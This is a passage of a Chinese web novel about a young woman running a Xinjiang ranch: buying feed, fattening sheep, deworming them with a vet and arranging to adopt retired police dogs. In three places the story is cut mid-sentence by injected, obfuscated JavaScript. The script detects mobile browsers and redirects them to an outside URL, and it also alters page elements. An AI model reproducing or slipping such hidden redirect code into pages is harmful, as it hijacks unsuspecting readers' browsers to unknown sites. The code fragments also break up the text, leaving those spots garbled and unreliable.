人工作有工资，牧羊犬工作没要工资，吃点儿肉还不行啊？ 吃了碗牛肉面后她带着小金雕先回去了，没办法，在外面总觉得谁都在盯着自己，总觉得人家要去举报她非法饲养野生动物，心慌慌的。 回去后窗台上的苹果没了，又给几个小的喂了饭后她再次骑车下山，这次去了山下的村子里，姚新泉径直去了买羊奶的老赵家。 老赵的媳妇儿姓缪，姚新泉见了就叫缪婶儿。 对方见到姚新泉来赶忙装了把瓜子给她，“前天收的油葵没来得及打，昨天又下雨，我都担心捂霉了，这不今天一见着太阳就赶紧出来打瓜子。闺女，过会儿婶儿给你带点儿回家啊！” 姚新泉坐在地上抓了个花盘垫在底下，又拿了一个摞在上面，拿起旁边的棍子就敲打了起来，瓜子随着敲打的动作落在了帆布上。 缪婶儿见她眼里有活儿心里高兴，也觉得她不把自己当外人，便拉着她聊了起来。 “你赵叔啊？他去下地掰苞谷了，你找他有事儿啊？”听姚新泉问起老赵她还有点儿奇怪，这闺女找老赵啥事儿？ “婶儿，我就是冲着你家苞谷来得，这不是今年我家牧场刚弄起来，我爸妈没来得及储备青贮饲料，冬天的时候除了干草之外我就想喂点儿苞谷麸皮这些精饲料，都搭配着来。你家不是有吗，我就像着你卖谁不是卖？苞谷，苞谷芯还有苞谷杆子我都要，我记得你家是种了五亩地吧，缪婶儿你说啥价格，只要价格合适，我都要了！” 12. 第 12 章 缪婶儿听了这话更是高兴了，这五亩地的玉米跟边上点的油葵都不是在自家责任田里种的，而是他们自家开荒种的。这种不需要由粮站统一收购，一般都是他们自己找老板来收，或者直接到市场上去卖。 可他们这边很少来老板收的，他们自己出去又耽误事儿又嫌麻烦，这粮食收的时候高兴，处理起来可就麻烦了。 姚新泉愿意收她自然是高兴的。 粮食的市场价比国家统购价要高，但是这又是熟人，又帮自家解决麻烦了，所以缪婶儿想了想还是按照国家收购价来。 “苞谷粒给你按4毛钱一公斤来，苞谷芯按照6分钱一公斤来，苞谷杆的话，我家总共是五亩地，就按一亩十五块来吧！” 姚新泉今天专门去了解了一下粮食的进价跟零售价，种地也就是赚点儿辛苦钱，她不愿意占人家这个便宜。 “这样，缪婶儿，苞谷粒按5毛钱，苞谷芯按8分钱，苞谷杆按20一亩来，就这样，到时候你们分装好了我想办法过来拉，称重后给你们结钱。” 缪婶儿心里高兴，见她要走赶忙拦下了，从家里找了个筐子，给她装了大半筐的瓜子，“你别看我家这瓜子小，香的很，油香油香的，你就这样直接吃，或者炒一下、煮一下再晒干都成！” 姚新泉哭笑不得地接过瓜子，好家伙，这差价全送自己嘴里了。 她没直接回家，又去了本地的一家榨油坊，从这里以1200元一吨的价格预定了四吨的豆粕。 算了下今天的开支后姚新泉叹气，卖羊毛赚得那点儿钱都不够今天花的！ 回家后姚新泉翻出自家的大铁锅，将今天收到的瓜子倒了一半进去后撸起袖子翻炒起来，等感觉瓜子里没什么水分了就又换剩下的一半。 正去端瓜子呢就看到一颗马头正拱在篮子里吃得香呢！ 姚新泉只觉得额头青筋直跳，“皮皮！” 皮皮也知道自己犯了错，撒丫子就跑了，气得姚新泉在后面骂，“我扣你三天的苹果！” 没办法她又把这盆瓜子用水淘洗了一遍之后才重新炒开，不洗她怕吃到马唾沫！ 姚新泉估摸着炒干的瓜子大概有五六公斤了，她找了几个干净塑料袋大概每袋装了一公斤左右，分了三袋后骑车下山给小姑、二叔还有小姨家各送了一袋。 不是什么好东西，但也是她的一点心意。等家里牧场出货了再给她们送肉。 最后一站去的小姨家，张运秋见到她就笑，“你这真是来的巧了，知道小姨夫今天把三轮车给你弄回来了是吧？” 张运秋得意地拍了拍身旁的蓝色农用三轮车，上面装了雨棚，旁边还加了个座儿。 “该给你配的我都给你配好了放在车厢里，我过会儿把摩托车给你搬上去，你今天就骑回去？对了你会骑吗？” 姚新泉挑眉，“我高中的时候就用你家三轮车练过手你不记得了？” 张运秋拍了下自己的额头，“我现在更担心了”，当初这小丫头可是把他家三轮车的车头撞歪了！ 姚新泉哼哼两声，接过车钥匙就试驾起来，士别三日当刮目相看好吧？ 确认她没问题之后姚新泉当即去信用社取了5000块出来，其中3500块给张运秋，剩下的放在家里应急。当然了，车的价格肯定是便宜了许多，她领这个情。 “这是我们那边一个婶子家里种的油葵，她送给我，我自己炒的，我记得你喜欢吃这种小的就给你多装了些来！” 张运秋乐呵呵地接过袋子，抓了一把就塞到嘴里，然后扑扑扑往外吐瓜子壳，“还是这种小的够味儿，香！外面那些什么五香瓜子绿茶瓜子都不好吃！” 不过外甥女记得自己喜欢吃什么比什么都让人高兴！ “你小姨已经去上班了，不知道吧？” 姚新泉愣了一下，她还以为小姨是今天在家呢，怪不得，怪不得张运秋今天看起来喜气洋洋的。 “我那天陪你小姨过去的，人家园长跟她聊了聊立马就要她了！你说说，她都这样了还自卑，我还没自卑呢！” 姚新泉笑得不行，男人应该没几个会自卑的吧！只要是个男人，他们字典里好像就没这两个字！ 办完事儿之后她开着自家新三轮回上山了，又是好忙的一天呢！ 姚晓刚下班回家刚到家属院门口就被门卫叫住了，“姚老师姚老师，有人给你送东西你过来拿一下！” 姚晓刚心里奇怪，谁给他送啊？不会是学生家长吧？想到这里他不免有些抗拒。 姚晓刚虽然年轻，但已经是一级教师了，他连着三年带了高中毕业班的数学，高考下来的数学成绩别说是在他们县，在市里都能算得上拔尖的。前年的时候还有一个市里偏科特别严重的孩子专门转学来了他们县高中复读，也就一年的时间，数学从四十来分提高到了85分左右。 这时候数学满分是120分，相当于百分制的情况下，学生一年时间从三十多拔高到了70多分。 这可是高考啊！差一分可就隔了一个操场的人！ 人家那学生其他几门科目成绩其实都还不错，当时勉强能够上本科。这下数学成绩也提高了，如今在北京一个特别好的大学读书。 这就是姚晓刚的成绩啊！ 这是去年高考的事情，今年虽然没出这么一个学生，但是他们班的数学还是很强，这么几年下来姚晓刚的名声算是彻底打出去了。 肖美燕的代课老师也即将转正，就是看在他的面子上。 因为这，不少学生家长总喜欢来找他送东西，有的送到学校去，有的在他上下班的路上，还有的直接摸到了家里来，简直防不胜防。 想到这里姚晓刚都发愁，刚想说不要了，就听门卫大爷道，“来的小姑娘说是你侄女儿，高高瘦瘦二十出头的样子，长得跟你还有点像！” 姚晓刚眼睛一亮，是新泉啊！ “大爷你把东西给我吧，是我侄女，多谢你啊！” 等到家后他抓了把瓜子脸上满是笑意，东西贵不贵的再说，大侄女事事想着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502086|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己就很难得，她还是个小姑娘呢！ 再说了虽然他们这只是个县城，但到底也是城里，谁家也没点儿地，吃什么不用买？人家从山里送出来这份儿心意就难得！ 姚晓刚哼着小曲儿嗑着瓜子，肖美燕进门后见他这样子就头疼，“你看看你弄得这一地瓜子皮，吃了不知道扫扫吗？家里钱没地儿花了是吧，你一下买这么多瓜子？”等看到那一大袋瓜子之后肖美燕眉头都皱了起来。 姚晓刚哼了一声拿眼睛斜她，“这可是新泉想着我这个小叔给我送来的！” 肖美燕就见不得他那得意的样子，“有什么了不起的，不就是点儿破瓜子吗，还真拿它当个宝了！” 姚晓刚听了这话就不乐意了，这说的是瓜子还是自己侄女？ 他把瓜子往袋子里一扔，“你倒是看不上我侄女送来的瓜子了，那我倒想问问你，你娘家给你送过什么？” 他有时候都搞不明白了，肖美燕到底哪里过得不痛快了，天天这里不高兴那里不开心的？ 别以为他看不出来肖美燕瞧不上放牛放羊的哥哥嫂子，但当初如果不是哥哥嫂子放羊放牛养着他，他哪里来的时间看书学习考大学？哥嫂对自己的恩情自己这辈子都还不完！ 再说了，如果说觉得自家是乡下人，她肖美燕家是条件多好吗？根本不是好吗？ 自己兄嫂自从改开之后乘着东风就起来了，别看说出去只是个牧民，那日子不知道比多少人都潇洒。 肖家不懂这些，也没想着去折腾，就老老实实种地，如今日子确实比以前好过，可再好过也就是普通农民啊！她到底有什么好瞧不上自己兄嫂的？ 说句难听的，如果不是因为自己的关系她也进了学校代课，不也得在家里种地？ 就算不提这些，兄嫂每年都给家里送肉送这送那的，肖家又给自家送了什么？去年过年的半扇羊还被肖家分走一半了吧？ 他就是懒得计较，但真说起来心里不是没有怨气的，反正他以后下定决心了，正常的往来他不管，但是肖美燕想送别的，那就掏自己钱买去！ 姚晓刚懒得与她争辩，将瓜子打包好后放到了一个高处，“这是我侄女送给我的瓜子，你既然看不上那就不要吃，更不要往你娘家送。我要去看学生上晚自习了，你自己吃饭吧”，说完转身就走，气得肖美燕瞪眼睛。 她说什么了姚晓刚就跟自己甩脸子，不就是一包破瓜子吗？当谁家里没有送啊！ 姚新泉自然不知道因为一包瓜子导致小叔家出现了家庭矛盾，此时她正包着头巾研究堆肥的事情呢！ 系统新手大礼包里面的堆肥方子的原料里是有农家肥的，不要求是什么动物的，人的也成。不过家里才搬到这边没多久，人的肯定是没多少的，还是得看家里牲畜的。 可这边牧场是今年才开，家里春夏秋季除了下雨，基本上牲畜都是在山上散养，所以圈里确实不多。 她把几个圈里的打扫了一遍总共弄出了三手推车的粪肥，只是实验实验应该够了。 13. 第 13 章 系统给的堆肥方法说复杂也不复杂，但比起普通老百姓用的还是复杂很多，里面还要求放一些矿物质以及各类植物，反正姚新泉是确实没搞懂这些东西放到一起难道会产生什么化学反应？ 但是基于对系统的信任，以及这些东西实际上都还比较便宜跟常见她也乐意试一试。 包好头巾将三车粪肥倒在一个下风口，然后将自己提前准备好的东西按照配方的比例小心倒入。 姚新泉很是小心谨慎，她不合时宜地想这玩意儿应该不会倒进去就冒出一阵白烟把自己熏晕吧？ 幸好配方上不要求搅拌，姚新泉把需要的东西一一倒入后这才松了一口气，“系统，十天之后就可以用了是吗？” 系统嗯了一声，她又问，“这肥料可以直接在我那个菜园子里用吗，会不会烧了根啊？” “我也没让你贴着根儿倒啊！”系统没好气回了一句，“你不是有垄沟吗，你隔点儿距离呗！” 行吧！ 姚新泉推着小推车去了流过牧场的一条河边把小推车跟铁锹都好好洗了洗，皮皮跟在她身后自己踢踢踏踏地乱踩，也不知道自己咋就玩得那么高兴，她老远都感受到这小马驹的快乐了！ 皮皮的快乐感染了她，姚新泉嘴角也带着微笑。她去自己的小菜园子转了一圈，不少都已经出苗了，嫩绿嫩绿看得人心情都更好了。 回去之后姚新泉开着三轮车又去山下村子里把自己订购的一户人家种的高粱拉了回来，冬天还可以掺点儿高粱喂一喂。 等忙完到家就看到小金雕不知道怎么飞到了桌子上，站在上面睥睨在桌子下的点点。 点点似乎被挑衅到了，嗷呜嗷呜地扯着小嗓子跟它叫，小金雕一般不理他，等点点有停下的趋势，这小臭鸟再啾一声，声音里满满的都是挑衅，姚新泉相信就算她没有系统给的金手指都能听出这小臭鸟的挑衅！ 果然，点点就跟受了刺激一样又扯着嗓子嚎。 见他那样子姚新泉又是好笑又是心疼，巴掌大的小狗一身牛劲儿！ “你咋那么坏心眼儿呢！你就欺负弟弟吧！”姚新泉没好气地戳了戳小金雕的“鬼脸”，小金雕无辜地歪着头看她。突然她扇起翅膀从桌子上跳了下来，下了姚新泉一跳。 她在脑海中紧急呼叫系统，“系统系统，小金雕现在多大了，她会飞吗？” “两个月多一点，一般小金雕是三个月左右开始学习飞行，四五个月的时候才能够熟练飞行。” 姚新泉面上不显，目光专注地盯着小金雕，可心里却很无语，“那她咋现在就开始飞啊？” 系统嗤笑一声，“不然你以为她为什么会从鸟巢里掉下来？” 姚新泉忍不住闭了闭眼，她想过很多小臭鸟掉下来的原因，她想过是不是因为下雨或者刮风导致不小心掉下来的？ 或者是不是有什么蛇之类的？虽然他们这片草原上好像没有什么本土蛇类。 但怎么也没想到，小臭鸟是两个月就想在高空中练习飞行，然后从鸟巢里掉下来摔到树上的…… 也行吧，孩子好学。 脑海中飞快地感慨，一点儿也没阻碍姚新泉在小金雕掉下去的时候一把把她薅住放在了桌子上。 姚新泉很确认她看到小臭鸟眼睛亮了一下，她心下觉得不好，果然，下一秒小臭鸟突然又冲了下来！ 姚新泉面无表情地接住坠机的小臭鸟后夹在了腋下，逮捕！ 随后又把在地上颤颤巍巍走着却不影响人家大嗓门吵架的点点捞到了膝盖上。 “你们说说，家里三个没一个省油的”，姚新泉叹气，只觉得自己是真的命苦。 老大皮皮，姚新泉表情一言难尽，万幸的是这小鬼还知道不在家里喷屎，否则姚新泉是真要让她长长记性的！ 老二小金雕，跟个多动症患者一样，姚新泉叹气。她是没养过鸟，可是应该跟小孩儿一样吧？你骨头没发育好久站起来就跑，对自己身体肯定不好啊？她这样对翅膀估计也不好吧？ 还有老小点点，个子不大脾气不小，眼睛蓝膜还没退呢，第一次见马合木提江的时候就扯着嗓子吼，生怕人家不知道家里还有条狗呢！ 但他可是工作犬，姚新泉肯定不能因为小不点儿虽然还在幼儿园就已经有一颗当牛马的心就批评他，只能给他热点儿奶润润嗓子…… 姚新泉叹气，这可真难养。 其他的也就算了，家里小动物中这三个绝对是最聪明的，就算不能百分百理解自己的意思，但是也大差不差了，这种情况她就是没办法把他们三个当普通牧场的动物来对待。 可能有点儿类似于小说里开了灵智？可姚新泉也问过系统，系统当时狠狠地嘲笑了她一通，说她不好好工作赚钱整天就知道白日做梦，姚新泉气得半天没理他。 不过说到底他们三个还是不一样的。 老大不在，姚新泉就点了点老二小金雕的鸟喙，表情算得上是郑重了，“你以后不许自己悄悄从高处往下飞知道吗？” 见小金雕似懂非懂的样子姚新泉深吸一口气，她绷住脸蹲在了椅子上，两手放在身边做出翅膀煽动的动作来，然后往地上跳，一边跳嘴里还一边发出惨叫，吓得两小只都蒙了。 “我没教你飞你不许飞，知道了吗？不然就会啊地掉下来！” “哈哈哈哈！”系统在姚新泉的脑袋里疯狂大笑,“宿主，我有点好奇你之后怎么教小金雕飞？你是打算带着她到悬崖边上然后自己从上面往下飞叫她看着学吗？” 姚新泉咬牙，狗系统！ “那我就把她从悬崖上推下来！课本里都说了，鹰妈妈把小鹰从悬崖上推下来他们就学会了！” 系统继续大笑，“那要是摔死了你可能得坐牢吧？” 姚新泉深吸一口气不去理会他了，她看向小金雕，耐心地跟她解释，“不是不让你飞，你现在翅膀还没有长好”，她轻轻捏了捏小金雕的翅膀，“你翅膀没长好的话飞不起来，万一摔下来你会受伤的！等你再大一点，我带着你去树上学好吗？”就找那种一两米的树，自己跟在后面， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502087|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万一小金雕坠机自己还能给她来个猴子捞月！ 小金雕像是懂了，轻轻啾了一声又贴在她脸上蹭了蹭，蹭的姚新泉心都软了下来。 解决完老二的事情还有老小呢！ “点点啊，我一般是不雇佣童工的，你等能跑能跳了再工作好不好？”这孩子真是闲不下来，走路还颤颤巍巍呢就已经上岗了！ 说了半天也不知道是不是因为孩子太小反正感觉是没啥进展，姚新泉泄气了，算了，爱叫就叫吧！ 吃完晚饭她本来想给自己从系统那里薅来的人打个电话，这才反应过来电话还没装呢！“明天得去问问咋样了，啥时候能装电话线啊！” 第二天一早姚新泉喂好家里的小动物们，又检查了牛群没什么异样之后这才骑着三轮车下山，她今天打算去一户养殖户家里。 她到的时候就听到院子里正在吵架，“你说的你要养一批羯羊年前育肥卖掉的！我去下面收了还多收了一些拿回来，人家要卖我都没卖，你现在又不要了，有你这样做生意的吗？” 另一人说了些什么她没听清，反正估计是在解释，但不知道说了什么反正那人愈发生气了，“我这羊不好？我们家几十年前就做这个生意了，你要不想要你就滚，以后我家羊卖给狗都不卖给你！” 姚新泉只觉得一只箭正中自己胸口，她叹气，敲门打断了里面说不好又要攻击自己的老板，“你好，这边是萨哈烈家吗，我想来看看这边的羯羊，方便吗？” 正在跟人笨拙地吵架的柯尔克孜大汉萨哈烈有点茫然地看了过来，“丫头子？” 他应该是用的柯尔克孜话说的，姚新泉勉强能听懂一些，她是会哈语的，主要是他们这边数量最多的少民就是哈族，而且马合木提江家跟他们相交十来年了，潜移默化说的还不错。听说读都行，只是不会写。 维语和柯尔克孜语她是没专门学过，只是这几种语言有相似之处，勉强半蒙半猜也能理解。 “你家里大人呢？”萨哈烈有些疑惑地看着姚新泉，他还没跟小丫头子做过生意呢！ “你不做女人的生意？”她看了一旁站着不说话的矮个儿男人，“也许他不要的羯羊我能全吃下呢？” 这话一出两人都忍不住看了她一眼，八十头羊不算多可也不算少了啊！ 萨哈烈有些迟疑但最终还是选择相信他，他朝旁边的矮个儿男人哼了一声，推着他出了院门又一把把门关上，这才赶忙跑了过来。 姚新泉见他这样心里觉得好笑，三十来岁个子估计有一米九的大汉跟个小孩儿一样！ “姑娘，你要买这么多羯羊，你有牧场吗？马上要下雪了，你有羊圈吗？你准备的牧草、精料都够吗？”他也是好心，这一批羯羊算是自己计划外收购的，也是因为自己兄弟说需要，让他代买，他也是傻，没收定金没签合同就帮他买了，结果买回来之后人家不要了。 他之前合作的客户都已经买够了，若说让他再另外找买家也不是找不到，但就是很生气啊！ 骗子！骗子！ 14. 第 14 章 姚新泉点头，“都有准备，我家牧场就在哈拉苏上面”，哈拉苏就是她家最近的那个村子的名字。 萨哈烈了然地点了点头，这样的话那牧场肯定是足够的，“我听说你家承包了4000亩的牧场？” 姚新泉点了点头，这没什么好否认的，她爸妈把牧场承包下来做的第一件事就是把牧场围了起来，下面是土坯，上面是铁丝网，当时还请了不少人来帮忙做短工，附近的人都知道，萨哈烈在这边做生意自然是知道的。 “有钱啊！”萨哈烈有点感叹，瞧瞧人家再瞧瞧自己，苦哈哈在牧民手上收了点羊结果还被人坑了！ 姚新泉无奈地摇了摇头，“就是没钱我才打算收点羯羊回去育肥，过年卖掉回一回血呢！” 萨哈烈了然地点头，他听说了，姚家当初主要养的是细毛羊，一年养的好的话能剪三回羊毛。除了冬天要圈养，平时也不怎么费事儿就在牧场上放着，不过这个回钱慢。 还有牛好像也是奶牛，她家要是想着赚一波快钱倒也是。 “你可要想好了，这育肥也不是那么好干的”，见姚新泉虽然个子不矮，但是瘦巴巴的又年轻，萨哈烈有些担心她自己能不能养好。这些羊可都是好羊，万一养死了或者养不出膘来可别说是他羊的问题！ 姚新泉点了点头，萨哈烈家算是系统选择出来的无论口碑还是价格都上佳的一个羊贩子，姚新泉相信系统的眼光。 “那行，那我先带你去看看羊”，他带着人往羊圈里走，“我这还剩80头，也不是剩的，是专门给刚才那个骗子留下来的”，萨哈烈做生意很实在，也不瞒着或者哄抬价格，老老实实地说。 “这羊也是专门配的，是阿勒泰羊和”，萨哈烈皱了皱眉，一下没想起来汉语该怎么说，就用柯尔克孜语说了个词儿出来，姚新泉反映了一下后试探地问，“小尾寒羊？” 萨哈烈眼睛一亮，“你还懂我们的话呢？” “懂一点点，我哈语说的比较好”。 “已经很好了”，萨哈烈整个人都比方才亲近了两分，“就是小尾寒羊跟阿勒泰羊配种的，不管是育肥还是肉质都好，我早晨杀了一头，你过会儿可以尝尝”，本来是买了85头羊的，那小瘪三不要了，他一气之下当着对方的面就宰了头羊，要不是自家吃不下那么多，他非得当着那王八蛋的面全宰了不可！ 不过他之前吃过这种羊，知道好吃，所以干脆自家留了5头，剩下卖80头。 姚新泉心里在琢磨着这群羯羊，小尾寒羊是以繁殖力高还有生长快著称的，而阿勒泰羊是以耐粗饲、肉质优良著称的，而且阿勒泰羊的适应力还强。这两种羊杂交，如果能结合双方的优点杂交出肉质好生长又快的羊，那肯定是最好的结果了。 两人到了羊圈粗粗一眼看过去精神倒都挺不错了，活泼好动眼睛也都很有神，“你家羊圈打扫的很干净。” 萨哈烈高兴地笑了，“我老婆能干！比我能干！” 图马尔笑着走了过来，“萨哈烈也能干，家里那么多羊全是他挑出来的。” 两人随意一对视都让人觉得情意绵绵，看的姚新泉牙疼，她又把目光放在了羊圈里。 “你要不要先尝尝羊肉再挑？” 姚新泉摇了摇头，不说系统的选择，就让她自己看，萨哈烈家的羊其实都很不错。 骨架大、胸宽深、臀部丰满、背部平直、四肢健壮，这种羊育肥潜力大，就算口感没有纯种阿勒泰羊好吃，那也不会亏。 见她爽快萨哈烈夫妻二人也高兴，“那行，那你先选，我给你到时候便宜一点！” 姚新泉跳进了羊圈，把体格子好、精神好、体表也看不出有藓或者寄生虫，也没有咳嗽流涕的症状，毛发光亮的羊挑了出来。 不过粗粗看了下，其实这80头绝对是挑过的，她又过了一遍确定确实没有什么问题便拍板，“这八十头我都要了！” 萨哈烈二人乐了，朝她竖大拇指，“大老板！” “一般活羊价格大概在1.6-3块一公斤，我这羊因为口感好，我收来都比别的贵两毛，所以哪怕我给你降价，这羊还是得2.3一公斤，你看成吗？成的话咱们就称！我也不给你抹零了，我给你搭上200公斤棉籽饼，你看咋样？成的话咱们就开始称！” 姚新泉自然是没有不同意的，一公斤棉籽饼大概也要两三毛了，最起码五六十块钱，一头羊就出来了。 三人配合着过称最终称下来是2829公斤，6506.7元，萨哈烈只收了6500元，还拉着她吃了一顿清炖羊肉，味道确实很不错，这羊肯定没买亏！ 萨哈烈家里有一辆比姚新泉这辆三轮车大一倍的大三轮，据说是他自己改装的，反正鼓鼓囊囊跑了两趟就全运回去了。 姚新泉谢过他，又从家里翻出了两包烟递给他，高高兴兴把人送走了。 家里最开始就盖了好几排羊圈，一排如今是给细毛羊用的，另外的刚好用来给这批小羊隔离。 这批小羊基本都是8个月大左右的羊羔，给它们放好水跟草料后她去了一趟兽医站。 “艾力叔叔，我来拿点儿阿维菌素！” 艾力兽医正在清点药品，听到这话还有点儿奇怪，“你家细毛羊不是7月份驱过虫吗？” “不是细毛羊，我又买了80头羯羊打算短期育肥，我问萨哈烈了，这批羊上一次驱虫已经是春天了。” 艾力点了点头，心里放心了一些，“萨哈烈做生意实在，你稍等我一会儿，我跟你回去看看”，到底是老朋友的女儿，自己一个小姑娘突然挑起这么重的担子他肯定得帮衬帮衬。 姚新泉自然不会拒绝他的好意，“我骑三轮车来的，叔叔你带个垫子坐后面还是？” “嗐，我又不是大姑娘，带什么垫子！”艾力带上驱虫药跟着她就出门了。 “咱们这儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502088|170392||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的阿维菌素是口服给药的，你一个人肯定忙不过来，刚好我也能给你帮帮忙”，有的地方用的是阿维菌素注射液，那是皮下注射，也麻烦。 姚新泉笑着点头，载上他就往牧场开。 北疆风大，就算外面大太阳晒着一样不影响那风呼呼地在耳边刮，艾力扯着嗓子喊，“你家牧草打了吗？” 姚新泉一愣，她就说总感觉忘了什么事情呢！ 她家牧场地方大，如今的牛羊数量完全不饱和，再加上还是轮牧，对牧场的破坏不大。 可问题是并不是所有地方都生长着牧草啊！ 她家牧场里有一片云杉林，估计有二十来亩地吧！云杉林后面还有一座山，海拔不算太高，但也能阻拦一下冷空气，倒是让他们这边过冬比别的地方稍微好了一些，这山占地估摸着有近百亩，上面也有各种树林，这两块儿地方算是还没开发，未来也要好好琢磨琢磨怎么用。 还有些地方土地有些盐碱化，牧草长得也不算太好，所以她才会专门种冬麦。 她这几天在仓库里看到她爸妈六七月份割的那一茬牧草了，不算太多，但也算是缓解了她过冬的压力。 不过如今又多了80头，除了后面的冬麦还得再割一茬。 “你爸妈之前是雇人来割的，不过这时候好多人家里也在收庄稼，不好雇人还贵，你看你要不要雇收割机啊？那玩意儿收割了，后面再找人捆？” 姚新泉有些意动，“叔叔你有认识的人吗？”他既然提出来了，那肯定是有资源的，她就不麻烦系统了。 “我过会儿把地址写给你，你去他家找一下，找不到的话你跟我说，我再带你去！你就说是我介绍的就行。”他还是比较了解自己那个朋友的，如果有机会他可是会宰人的！ 不过干活确实很利索，不然他不至于拿来坑人。 两人到了羊圈后，艾力把每一头羊都拉过来细细检查了一下，从牙口到耳朵眼睛还有身上哪里都没放过，“你这羊多少钱买的？” “2.3。” “一公斤？”艾力有些诧异，“那你这眼光是真好，是个会做生意的！”这羊要是正儿八经卖的话卖2.8都有人要。 姚新泉听他这样说心里也高兴，“萨哈烈做生意实诚”，她心里想着要跟萨哈烈把关系维护下去，这人不坑人，眼光还好，以后不免还要打交道的。 “他跟他媳妇儿都能干，你别看他个大个子，实际上老实的不行，不少人都欺负他”，等姚新泉把这批羊的事情一说，艾力听他形容的那个矮个子就嗤笑一声，“那人就不是个好的！他爸跟萨哈烈的阿妈再婚，两人是继兄弟，后来萨哈烈的阿妈去世，两家也就没一起生活了，也就是萨哈烈傻，总想着到底一起生活了几年，人家就欺负他呢！” 不过再一想，如今萨哈烈也算是认识到这人的嘴脸了，没这种人拖累，以后日子还不知道过得多好呢，这下心里又高兴了。 15. 第 15 章 两人配合着给羊喂了药，或者说是艾力配合着姚新泉给她递药。 艾力有些忧伤地看着姚新泉轻轻一捏小羊，小羊立马就张嘴，姚新泉眼疾手快就把药片放到羊舌头底下，合上嘴巴还晃一晃，再拍一下小羊的屁股，把它关到旁边羊圈去。 动作一气呵成，一个人就跟一条流水线一样，这羊咋就那么听话？咋自己喂的时候那羊就死犟死犟的不愿意张嘴，他用了牛劲儿才能把羊嘴掰开，然后喂了药还得防着它们吐出来，想想都心累。 “这羊真是天生就该被你养！” 姚新泉尴尬地笑了笑。 见她游刃有余艾力大夫就跟她聊起了别的事情，“上次不是说牧羊犬的事情吗？” 姚新泉自然是记得的，她现在已经很迫切地需要再来几只牧羊犬了，如果是已经训练好会帮着放牧的自然最好，就算不会放牧，能做到令行禁止也不错。 点点也就巴掌大，等他能工作，家里的羯羊都该出栏了！ 可好的牧羊犬也难找啊！ “叔叔你有什么渠道吗？” 艾力得意地笑了起来，“咱们县没有，不过市里是有一家警犬繁育基地的，那里的兽医是我亲哥。他之前就跟我提了一嘴说是他们基地淘汰了一批警犬，目前还没定下来去向。” “淘汰的？”听了这话姚新泉就有些迟疑了，会不会这些犬本身有什么不足？她到底是找工作犬，肯定是希望各方面都是好的。 见她这样艾力立马就猜出来她咋想的了，“你是不是觉得淘汰的肯定都是劣等犬，我跟你说那可就错了，它们只能说是不满足警犬的需求，不代表不是品种优良的好狗，事实上他们繁育基地的狗绝对都是好狗”，当然了有时候无法避免有些狗就是有些小问题。 接着他细细解释了起来，“像是有些狗攻击性过强，这种可能会威胁到训练员和普通群众的安全，还有胆子小的，你养牧羊犬那可是还想着防狼呢，这种他们淘汰，我也不会建议你去要”。 “但是有些像是性格过于活泼好动的，这种对你来说无所谓啊，你这么大的牧场让他跑他都跑不过来！这根本不会成为你的问题，我记得最近就有一只是比较活泼的小狗。” “还有像是嗅觉灵敏度不太合格的，你养牧羊犬又不是想去翻找别人藏得毒？嗅觉差一点也不影响。” “还有还有，什么拒食训练差的，有基因风险的，我估计你也不想繁育吧，它们本身没问题就还好。总之各种各样原因被淘汰下来的都有，这种相当于人家已经帮你把基础训练都做好了的，省了你多少事儿？” 姚新泉动心了，“那这种我可以买吗？” 艾力笑着摇头又点头，弄得姚新泉莫名其妙的，就听他又说，“本来一般情况下这种淘汰的犬只都是内部处理掉的，比如说是公安系统内部人员或者部队、农场、牧场或者合作机构，不过人家那是国营单位，你是个体户。” 姚新泉叹气，行吧，个体户没人权！ “咱们市的繁育基地不太大，所以基本不会公开销售，而且到底是国家财产，也不是能随意处理的，外面人想买也买不着”，不等姚新泉说话他又接着道，“可我大哥那边可以帮你通融让你去领养，当然了不是免费领养的。你这边有这么大的地方，对它们来说肯定比在城市的小房子要好，这也算是你的优势了。” “所以你去吗？后天下午开放处理通道，你要去的话我刚好跟你一起去，我好久没见我哥了。” 姚新泉能拒绝？“好的，我去。” “我先给你讲一下啊，估计一只得一二百块钱。” 姚新泉倒吸一口凉气，相当于不少人一个月的工资了，她买一只羯羊也就一百块左右啊！ “行，只要狗好，一切都没问题！”要真能给自己找俩帮手回来，那肯定是划得来的！ 等收拾好之后艾力只收了驱虫药的钱，没收她出诊费，“这算什么出诊，我就是过来陪你说了会儿话！” 姚新泉不好意思，又把自己昨天买的苹果捡了七八个又大又红的塞给他，开着三轮车把人送下去了。 回来的时候又去了一趟赵家，她上次买了赵家的苞谷之后，又委托他们帮自己在村里再收购一些苞谷跟高粱。听说有一户人家专门种了些苜蓿，又从他家订购了一些晒干的苜蓿。 短期育肥很是烧钱，饲料还要做好多次调整，快钱难赚啊！ 